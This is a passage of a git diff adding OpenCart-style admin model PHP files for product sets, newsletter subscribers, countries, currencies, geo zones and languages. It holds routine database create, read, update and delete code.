+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_to_store WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_to_layout WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_product_to_set WHERE set_id = '" . (int)$set_id . "'");
+
+ $this->cache->delete('set');
+ }
+
+ public function getSet($set_id) {
+
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_set i LEFT JOIN " . DB_PREFIX . "lightshop_set_description id ON (i.set_id = id.set_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' AND i.set_id = '" . (int)$set_id . "'";
+
+ $query = $this->db->query($sql);
+
+ return $query->row;
+
+ }
+
+ public function getSetProduct($set_id) {
+ $products = array();
+
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_product_to_set WHERE set_id = '" . (int)$set_id . "' ORDER BY row_id,set_product_id ASC";
+
+ $query = $this->db->query($sql);
+
+ foreach ($query->rows as $key => $product) {
+ $products[$product['row_id']][] = array(
+ 'id' => $product['product_id'],
+ 'qty' => $product['quantity'],
+ 'sort_order' => $product['sort_order']
+ );
+ }
+
+ return $products;
+
+ }
+
+ public function getSets($data = array()) {
+
+ $this->createTable();
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_set i LEFT JOIN " . DB_PREFIX . "lightshop_set_description id ON (i.set_id = id.set_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order',
+ 'i.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY i.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $set_data = $this->cache->get('lightshopset.' . (int)$this->config->get('config_language_id'));
+
+ if (!$set_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_set i LEFT JOIN " . DB_PREFIX . "lightshop_set_description id ON (i.set_id = id.set_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $set_data = $query->rows;
+
+ $this->cache->set('lightshopset.' . (int)$this->config->get('config_language_id'), $set_data);
+ }
+
+ return $set_data;
+ }
+ }
+
+ public function getSetDescriptions($set_id) {
+ $set_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_set_description WHERE set_id = '" . (int)$set_id . "'");
+
+ foreach ($query->rows as $result) {
+ $set_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ );
+ }
+
+ return $set_description_data;
+ }
+
+ public function getSetStores($set_id) {
+ $set_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_set_to_store WHERE set_id = '" . (int)$set_id . "'");
+
+ foreach ($query->rows as $result) {
+ $set_store_data[] = $result['store_id'];
+ }
+
+ return $set_store_data;
+ }
+
+
+ public function getTotalSets() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_set");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalNewssByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getProductRelated($news_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function createTable() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set (
+ `set_id` int(11) NOT NULL AUTO_INCREMENT,
+ `mode` int(1) NOT NULL DEFAULT '0',
+ `discount` int(11) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ `status` tinyint(1) NOT NULL DEFAULT '1',
+ `date_added` date NOT NULL,
+ PRIMARY KEY (`set_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set_description (
+ `set_id` int(11) NOT NULL,
+ `language_id` int(11) NOT NULL,
+ `title` varchar(200) NOT NULL,
+ `description` text NOT NULL,
+ `meta_title` varchar(255) NOT NULL,
+ `meta_h1` varchar(255) NOT NULL,
+ `meta_description` varchar(255) NOT NULL,
+ `meta_keyword` varchar(255) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_product_to_set (
+ `set_product_id` int(11) NOT NULL AUTO_INCREMENT,
+ `set_id` int(11) NOT NULL,
+ `row_id` int(11) NOT NULL,
+ `product_id` int(11) NOT NULL,
+ `quantity` int(11) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ PRIMARY KEY (`set_product_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set_to_layout (
+ `set_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ `layout_id` int(11) NOT NULL,
+ PRIMARY KEY (`set_id`,`store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set_to_store (
+ `set_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ PRIMARY KEY (`set_id`,`store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_related (
+ `news_id` int(11) NOT NULL,
+ `related_id` int(11) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ }
+
+}
diff --git a/public/admin/model/extension/theme/subscribe.php b/public/admin/model/extension/theme/subscribe.php
new file mode 100644
index 0000000..04a75dd
--- /dev/null
+++ b/public/admin/model/extension/theme/subscribe.php
@@ -0,0 +1,157 @@
+db->query("SELECT * FROM " . DB_PREFIX . "subscribe WHERE subscribe_id='" . (int) $subscribe_id . "'");
+
+ return $query->row;
+ }
+
+ public function getEmailDescription() {
+ $subscribe_descriptions = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "subscribe_email_description");
+
+ foreach ($query->rows as $result) {
+ $subscribe_descriptions[$result['language_id']] = $result['subscribe_descriptions'];
+ }
+
+ return $subscribe_descriptions;
+ }
+
+ public function addEmailDescription($descriptions) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "subscribe_email_description");
+
+ foreach ($descriptions as $language_id => $description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "subscribe_email_description SET subscribe_descriptions = '" . $this->db->escape($description) . "', language_id = '" . (int) $language_id . "'");
+ }
+ }
+
+ public function getAuthDescription() {
+ $subscribe_authorization = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "subscribe_auth_description");
+
+ foreach ($query->rows as $result) {
+ $subscribe_authorization[$result['language_id']] = $result['subscribe_authorization'];
+ }
+
+ return $subscribe_authorization;
+ }
+
+ public function addAuthDescription($descriptions) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "subscribe_auth_description");
+
+ foreach ($descriptions as $language_id => $description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "subscribe_auth_description SET subscribe_authorization = '" . $this->db->escape($description) . "', language_id = '" . (int) $language_id . "'");
+ }
+ }
+
+ public function addSubscribe($data) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "subscribe SET email = '" . $this->db->escape($data['email']) . "', status = '" . (int) $data['status'] . "'");
+ }
+
+ public function editSubscribe($subscribe_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "subscribe SET email = '" . $this->db->escape($data['email']) . "', status = '" . (int) $data['status'] . "' WHERE subscribe_id = '" . (int) $subscribe_id . "'");
+ }
+
+ public function deleteSubscribe($subscribe_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "subscribe WHERE subscribe_id = '" . (int) $subscribe_id . "'");
+ }
+
+ public function getSubscribers($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "subscribe ";
+
+ $sort_data = array(
+ 'name',
+ 'status'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= "ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY email";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int) $data['start'] . "," . (int) $data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalSubscibe($data = array()) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "subscribe`");
+
+ return $query->row['total'];
+ }
+
+ public function checkEmail($email, $subscribe_id) {
+ $sql = "SELECT email FROM " . DB_PREFIX . "subscribe WHERE email='" . $this->db->escape($email) . "'";
+
+ if ($subscribe_id) {
+ $sql .= " AND subscribe_id !='" . $subscribe_id . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return isset($query->row['email']) ? $query->row['email'] : 0;
+ }
+
+ public function tableExists() {
+ $query = $this->db->query("SHOW TABLES LIKE '" . DB_PREFIX . "subscribe'");
+
+ return $query->num_rows;
+ }
+
+ public function installSubscribe() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "subscribe` (
+ `subscribe_id` int(11) NOT NULL AUTO_INCREMENT,
+ `email` text NOT NULL ,
+ `status` tinyint(1) NOT NULL,
+ PRIMARY KEY (`subscribe_id`)
+ ) DEFAULT COLLATE=utf8_general_ci;");
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "subscribe_email_description` (
+ `subscribe_desc_id` int(11) NOT NULL AUTO_INCREMENT,
+ `language_id` int(2) NOT NULL,
+ `subscribe_descriptions` MEDIUMTEXT NOT NULL,
+ PRIMARY KEY (`subscribe_desc_id`)
+ ) DEFAULT COLLATE=utf8_general_ci;");
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "subscribe_auth_description` (
+ `subscribe_auth_id` int(11) NOT NULL AUTO_INCREMENT,
+ `language_id` int(2) NOT NULL,
+ `subscribe_authorization` MEDIUMTEXT NOT NULL,
+ PRIMARY KEY (`subscribe_auth_id`)
+ ) DEFAULT COLLATE=utf8_general_ci;");
+ }
+
+ public function uninstallSubscribe() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "subscribe`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "subscribe_email_description`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "subscribe_auth_description`");
+ }
+
+}
+
+?>
diff --git a/public/admin/model/localisation/country.php b/public/admin/model/localisation/country.php
new file mode 100644
index 0000000..065ddf0
--- /dev/null
+++ b/public/admin/model/localisation/country.php
@@ -0,0 +1,86 @@
+db->query("INSERT INTO " . DB_PREFIX . "country SET name = '" . $this->db->escape($data['name']) . "', iso_code_2 = '" . $this->db->escape($data['iso_code_2']) . "', iso_code_3 = '" . $this->db->escape($data['iso_code_3']) . "', address_format = '" . $this->db->escape($data['address_format']) . "', postcode_required = '" . (int)$data['postcode_required'] . "', status = '" . (int)$data['status'] . "'");
+
+ $this->cache->delete('country');
+
+ return $this->db->getLastId();
+ }
+
+ public function editCountry($country_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "country SET name = '" . $this->db->escape($data['name']) . "', iso_code_2 = '" . $this->db->escape($data['iso_code_2']) . "', iso_code_3 = '" . $this->db->escape($data['iso_code_3']) . "', address_format = '" . $this->db->escape($data['address_format']) . "', postcode_required = '" . (int)$data['postcode_required'] . "', status = '" . (int)$data['status'] . "' WHERE country_id = '" . (int)$country_id . "'");
+
+ $this->cache->delete('country');
+ }
+
+ public function deleteCountry($country_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "country WHERE country_id = '" . (int)$country_id . "'");
+
+ $this->cache->delete('country');
+ }
+
+ public function getCountry($country_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "country WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCountries($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "country";
+
+ $sort_data = array(
+ 'name',
+ 'iso_code_2',
+ 'iso_code_3'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $country_data = $this->cache->get('country.admin');
+
+ if (!$country_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "country ORDER BY name ASC");
+
+ $country_data = $query->rows;
+
+ $this->cache->set('country.admin', $country_data);
+ }
+
+ return $country_data;
+ }
+ }
+
+ public function getTotalCountries() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "country");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/currency.php b/public/admin/model/localisation/currency.php
new file mode 100644
index 0000000..c6d9b7a
--- /dev/null
+++ b/public/admin/model/localisation/currency.php
@@ -0,0 +1,169 @@
+db->query("INSERT INTO " . DB_PREFIX . "currency SET title = '" . $this->db->escape($data['title']) . "', code = '" . $this->db->escape($data['code']) . "', symbol_left = '" . $this->db->escape($data['symbol_left']) . "', symbol_right = '" . $this->db->escape($data['symbol_right']) . "', decimal_place = '" . $this->db->escape($data['decimal_place']) . "', value = '" . $this->db->escape($data['value']) . "', status = '" . (int)$data['status'] . "', date_modified = NOW()");
+
+ $currency_id = $this->db->getLastId();
+
+ if ($this->config->get('config_currency_auto')) {
+ $this->refresh(true);
+ }
+
+ $this->cache->delete('currency');
+
+ return $currency_id;
+ }
+
+ public function editCurrency($currency_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "currency SET title = '" . $this->db->escape($data['title']) . "', code = '" . $this->db->escape($data['code']) . "', symbol_left = '" . $this->db->escape($data['symbol_left']) . "', symbol_right = '" . $this->db->escape($data['symbol_right']) . "', decimal_place = '" . $this->db->escape($data['decimal_place']) . "', value = '" . $this->db->escape($data['value']) . "', status = '" . (int)$data['status'] . "', date_modified = NOW() WHERE currency_id = '" . (int)$currency_id . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function deleteCurrency($currency_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "currency WHERE currency_id = '" . (int)$currency_id . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function getCurrency($currency_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "currency WHERE currency_id = '" . (int)$currency_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCurrencyByCode($currency) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "currency WHERE code = '" . $this->db->escape($currency) . "'");
+
+ return $query->row;
+ }
+
+ public function editValueByCode($code, $value) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "currency` SET `value` = '" . (float)$value . "', `date_modified` = NOW() WHERE `code` = '" . $this->db->escape((string)$code) . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function getCurrencies($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "currency";
+
+ $sort_data = array(
+ 'title',
+ 'code',
+ 'value',
+ 'date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $currency_data = $this->cache->get('currency');
+
+ if (!$currency_data) {
+ $currency_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "currency ORDER BY title ASC");
+
+ foreach ($query->rows as $result) {
+ $currency_data[$result['code']] = array(
+ 'currency_id' => $result['currency_id'],
+ 'title' => $result['title'],
+ 'code' => $result['code'],
+ 'symbol_left' => $result['symbol_left'],
+ 'symbol_right' => $result['symbol_right'],
+ 'decimal_place' => $result['decimal_place'],
+ 'value' => $result['value'],
+ 'status' => $result['status'],
+ 'date_modified' => $result['date_modified']
+ );
+ }
+
+ $this->cache->set('currency', $currency_data);
+ }
+
+ return $currency_data;
+ }
+ }
+
+ public function refresh($force = false) {
+ $currency_data = array();
+
+ if ($force) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "currency WHERE code != '" . $this->db->escape($this->config->get('config_currency')) . "'");
+ } else {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "currency WHERE code != '" . $this->db->escape($this->config->get('config_currency')) . "' AND date_modified < '" . $this->db->escape(date('Y-m-d H:i:s', strtotime('-1 day'))) . "'");
+ }
+
+ foreach ($query->rows as $result) {
+ $currency_data[] = $this->config->get('config_currency') . $result['code'] . '=X';
+ $currency_data[] = $result['code'] . $this->config->get('config_currency') . '=X';
+ }
+
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'http://download.finance.yahoo.com/d/quotes.csv?s=' . implode(',', $currency_data) . '&f=sl1&e=.json');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $content = curl_exec($curl);
+
+ curl_close($curl);
+
+ $line = explode("\n", trim($content));
+
+ for ($i = 0; $i < count($line); $i = $i + 2) {
+ $currency = utf8_substr($line[$i], 4, 3);
+ $value = utf8_substr($line[$i], 11, 6);
+
+ if ((float)$value < 1 && isset($line[$i + 1])) {
+ if((float)utf8_substr($line[$i + 1], 11, 6) > 0) {
+ $value = (1 / (float)utf8_substr($line[$i + 1], 11, 6));
+ } else {
+ $value = 0;
+ }
+ }
+
+ if ((float)$value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "currency SET value = '" . (float)$value . "', date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "' WHERE code = '" . $this->db->escape($currency) . "'");
+ }
+ }
+
+ $this->db->query("UPDATE " . DB_PREFIX . "currency SET value = '1.00000', date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "' WHERE code = '" . $this->db->escape($this->config->get('config_currency')) . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function getTotalCurrencies() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "currency");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/geo_zone.php b/public/admin/model/localisation/geo_zone.php
new file mode 100644
index 0000000..d682641
--- /dev/null
+++ b/public/admin/model/localisation/geo_zone.php
@@ -0,0 +1,130 @@
+db->query("INSERT INTO " . DB_PREFIX . "geo_zone SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', date_added = NOW()");
+
+ $geo_zone_id = $this->db->getLastId();
+
+ if (isset($data['zone_to_geo_zone'])) {
+ foreach ($data['zone_to_geo_zone'] as $value) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "' AND country_id = '" . (int)$value['country_id'] . "' AND zone_id = '" . (int)$value['zone_id'] . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "zone_to_geo_zone SET country_id = '" . (int)$value['country_id'] . "', zone_id = '" . (int)$value['zone_id'] . "', geo_zone_id = '" . (int)$geo_zone_id . "', date_added = NOW()");
+ }
+ }
+
+ $this->cache->delete('geo_zone');
+
+ return $geo_zone_id;
+ }
+
+ public function editGeoZone($geo_zone_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "geo_zone SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', date_modified = NOW() WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ if (isset($data['zone_to_geo_zone'])) {
+ foreach ($data['zone_to_geo_zone'] as $value) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "' AND country_id = '" . (int)$value['country_id'] . "' AND zone_id = '" . (int)$value['zone_id'] . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "zone_to_geo_zone SET country_id = '" . (int)$value['country_id'] . "', zone_id = '" . (int)$value['zone_id'] . "', geo_zone_id = '" . (int)$geo_zone_id . "', date_added = NOW()");
+ }
+ }
+
+ $this->cache->delete('geo_zone');
+ }
+
+ public function deleteGeoZone($geo_zone_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ $this->cache->delete('geo_zone');
+ }
+
+ public function getGeoZone($geo_zone_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->row;
+ }
+
+ public function getGeoZones($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "geo_zone";
+
+ $sort_data = array(
+ 'name',
+ 'description'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $geo_zone_data = $this->cache->get('geo_zone');
+
+ if (!$geo_zone_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "geo_zone ORDER BY name ASC");
+
+ $geo_zone_data = $query->rows;
+
+ $this->cache->set('geo_zone', $geo_zone_data);
+ }
+
+ return $geo_zone_data;
+ }
+ }
+
+ public function getTotalGeoZones() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "geo_zone");
+
+ return $query->row['total'];
+ }
+
+ public function getZoneToGeoZones($geo_zone_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getTotalZoneToGeoZoneByGeoZoneId($geo_zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalZoneToGeoZoneByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone_to_geo_zone WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalZoneToGeoZoneByZoneId($zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone_to_geo_zone WHERE zone_id = '" . (int)$zone_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/language.php b/public/admin/model/localisation/language.php
new file mode 100644
index 0000000..ad3f719
--- /dev/null
+++ b/public/admin/model/localisation/language.php
@@ -0,0 +1,307 @@
+db->query("INSERT INTO " . DB_PREFIX . "language SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', locale = '" . $this->db->escape($data['locale']) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "'");
+
+ $this->cache->delete('catalog.language');
+ $this->cache->delete('admin.language');
+
+ $language_id = $this->db->getLastId();
+
+ // Attribute
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $attribute) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_description SET attribute_id = '" . (int)$attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($attribute['name']) . "'");
+ }
+
+ // Attribute Group
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_group_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $attribute_group) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_group_description SET attribute_group_id = '" . (int)$attribute_group['attribute_group_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($attribute_group['name']) . "'");
+ }
+
+ $this->cache->delete('attribute');
+
+ // Banner
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "banner_image WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $banner_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "banner_image SET banner_id = '" . (int)$banner_image['banner_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($banner_image['title']) . "', link = '" . $this->db->escape($banner_image['link']) . "', image = '" . $this->db->escape($banner_image['image']) . "', sort_order = '" . (int)$banner_image['sort_order'] . "'");
+ }
+
+ $this->cache->delete('banner');
+
+ // Category
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $category) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_description SET category_id = '" . (int)$category['category_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($category['name']) . "', description = '" . $this->db->escape($category['description']) . "', meta_title = '" . $this->db->escape($category['meta_title']) . "', meta_description = '" . $this->db->escape($category['meta_description']) . "', meta_keyword = '" . $this->db->escape($category['meta_keyword']) . "'");
+ }
+
+ $this->cache->delete('category');
+
+ // Customer Group
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_group_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $customer_group) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_group_description SET customer_group_id = '" . (int)$customer_group['customer_group_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($customer_group['name']) . "', description = '" . $this->db->escape($customer_group['description']) . "'");
+ }
+
+ // Custom Field
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $custom_field) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_description SET custom_field_id = '" . (int)$custom_field['custom_field_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($custom_field['name']) . "'");
+ }
+
+ // Custom Field Value
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $custom_field_value) {
